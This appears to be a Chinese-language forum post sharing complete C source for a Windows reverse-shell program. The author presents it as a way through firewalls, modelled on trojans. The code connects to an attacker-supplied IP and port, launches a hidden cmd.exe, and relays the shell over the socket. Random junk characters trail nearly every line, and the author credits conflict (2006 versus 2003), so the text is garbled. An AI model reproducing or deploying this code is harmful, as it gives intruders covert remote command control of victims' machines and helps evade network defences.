这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 a"+VP>4
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/* ============================== C _W]3
Rebound port in Windows NT uPFbKSJj
By wind,2006/7 L7II>^"B
===============================*/ xZAg
#include PC=s:`Y}R
#include /|Gz<nSc
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#pragma comment(lib,"wsock32.lib") ^[HX#JJ~
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void OutputShell(); I
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SOCKET sClient; gi
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; }Ny~.EV5^
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void main(int argc,char **argv) =c[mch%E
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WSADATA stWsaData; u<@
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int nRet; L'BzefU;04
SOCKADDR_IN stSaiClient,stSaiServer; ^w
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if(argc != 3) =66,$~g{
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printf("Useage:\n\rRebound DestIP DestPort\n"); }>Lz\.Z/+[
return; *
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} Bsz;GnD|r
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WSAStartup(MAKEWORD(2,2),&stWsaData); E<_+Tc
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); y/?;s]>b
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stSaiClient.sin_family = AF_INET; Z Q9's
stSaiClient.sin_port = htons(0); q->46{s|
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #lm1"~`5
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "2/VDB4!FG
{ Xp3cYS*u
printf("Bind Socket Failed!\n"); Yc'7F7.<6
return; <Gu dx>I
}
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stSaiServer.sin_family = AF_INET; T1b9Zqc)f
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ph1veD<ZZ
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); D&)gcO`\
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 0ID
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printf("Connect Error!"); <tTn$<b
return; Wm ?RB0
} C44Dz.rs
OutputShell(); Ad7=JzV
} LNU9M>
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void OutputShell() 3' 6>zp
{ h^0!I TL ^
char szBuff[1024]; MhB kr{8
SECURITY_ATTRIBUTES stSecurityAttributes; e~weYGK
OSVERSIONINFO stOsversionInfo; *K\/5Fzl
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 7[V'3
STARTUPINFO stStartupInfo; jKu"Vi|j>
char *szShell; [XQoag;!
PROCESS_INFORMATION stProcessInformation; 18!0Hl>
unsigned long lBytesRead; }g _#.>D+
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); UeT"v?zP
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); )5X7|*LP
stSecurityAttributes.lpSecurityDescriptor = 0; \d%SC <s
stSecurityAttributes.bInheritHandle = TRUE; z{^XU"yB
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Rm *"SG
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); e}}xZ%$4|
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Yb x4 Up@
stStartupInfo.wShowWindow = SW_HIDE; Ty]CdyL$
stStartupInfo.hStdInput = hReadPipe; ;LH?Qu;e
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ]]%CO$`T[
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GetVersionEx(&stOsversionInfo); iygdX2
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switch(stOsversionInfo.dwPlatformId) 8N8B${X
{ JT<Ia
case 1: m.EWYO0XQ
szShell = "command.com"; m&|?mTo>m
break; k2*^W&Z
default: P/Sv^d5=e
szShell = "cmd.exe"; *Xl&N- 04
break; 0/(YH
} D@4hQC\
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kRE^G*?
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send(sClient,szMsg,77,0); Pd^ilRB
while(1) yNY1g?E
{ rMf& HX
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0);
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if(lBytesRead) |n67!1
{ %t%+;(M9
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 0Km{fZYq7;
send(sClient,szBuff,lBytesRead,0); |yN7#O-D
} kfA%%A
else a*S4rq@
{ ZZFa<AK4
lBytesRead=recv(sClient,szBuff,1024,0); iu&'v
if(lBytesRead<=0) break; o $p*C
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4(
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} gnB%/g[_
} /_woCLwQ#
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return; OYNs1yB
}